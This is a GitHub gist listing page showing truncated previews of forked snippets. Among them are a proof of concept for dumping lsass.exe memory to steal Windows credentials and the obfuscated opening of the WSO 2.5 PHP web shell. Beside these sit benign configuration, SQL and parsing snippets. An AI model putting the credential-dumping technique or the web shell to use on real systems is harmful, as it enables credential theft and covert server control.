Skip to content

Instantly share code, notes, and snippets.

@th30c0der
th30c0der / refl.cpp
Created May 23, 2023 02:03 — forked from GeneralTesler/refl.cpp
PoC using RtlCreateProcessReflection + MiniDumpWriteDump to dump lsass.exe process memory
#include <Windows.h>
#include <iostream>
#include <DbgHelp.h>
#include <processsnapshot.h>
#include <TlHelp32.h>
#include <processthreadsapi.h>
//process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
//minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
//compile using: cl.exe refl.cpp /DUNICODE
@th30c0der
th30c0der / gist:3dcd2e2fe9131064d9fff59a061df717
Created November 11, 2022 11:06 — forked from ZaronZ/gist:fefe7bedd5b1c4fb8ec83b1fc1b9d2c3
Pure C project configuration for Visual Studio without CRT
Release/Debug:
General -> Whole Program Optimization -> No Whole Program Optimization
Linker -> Input -> Ignore All Default Libraries = Yes
Linker -> Manifest File -> Generate Manifest = Disabled
Linker -> Advanced -> Entry Point = (set EntryPointName)
C/C++ -> Code Generation -> Security Check = Disable Security Check
C/C++ -> Optimization -> Optimization = Disabled
C/C++ -> General -> SDL checks = (remove value)
C/C++ -> Advanced -> Compile As = Compile as C Code (if need C90)
@th30c0der
th30c0der / gist:55bc02edff80fd6b53a8024d710a8346
Created April 18, 2022 00:06 — forked from kaidesu/gist:9819416
PHP/MySQL User's Online Script
CREATE TABLE `user_online` (
`session` char(100) NOT NULL default '',
`time` int(11) NOT NULL default '0'
) TYPE=MyISAM;
@th30c0der
th30c0der / Get-AntiVirusProduct.ps1
Created February 10, 2022 20:40 — forked from mgeeky/Get-AntiVirusProduct.ps1
Lists installed AntiVirus products and their details. Source: https://stackoverflow.com/a/37842942
function Get-AntiVirusProduct {
[CmdletBinding()]
param (
[parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('name')]
$computername=$env:computername
)
@th30c0der
th30c0der / parse_austria.php
Created November 21, 2020 23:54 — forked from geek-at/parse_austria.php
Parsing ip data from a file
<?php
$infile = 'austria.csv';
$outfile = 'austria.ips';
$fp = fopen($outfile,'w');
$handle = fopen($infile, "r");
if ($handle)
{
while (($line = fgets($handle)) !== false) {
$line = trim($line);
@th30c0der
th30c0der / wso_2.5_shell.php
Created June 5, 2017 04:49 — forked from 1N3/wso_2.5_shell.php
WSO 2.5 Shell
<?php
if (isset ($_GET['lU$6AJp0aXFt0RyAynP9OnL7FlzQ']))
{
$a1="Fil";
$c1="#d";
$c2="f5";
$color = $c1.$c2;
$bs="esM";
$da="an";
$default_action = $a1.$bs.$da;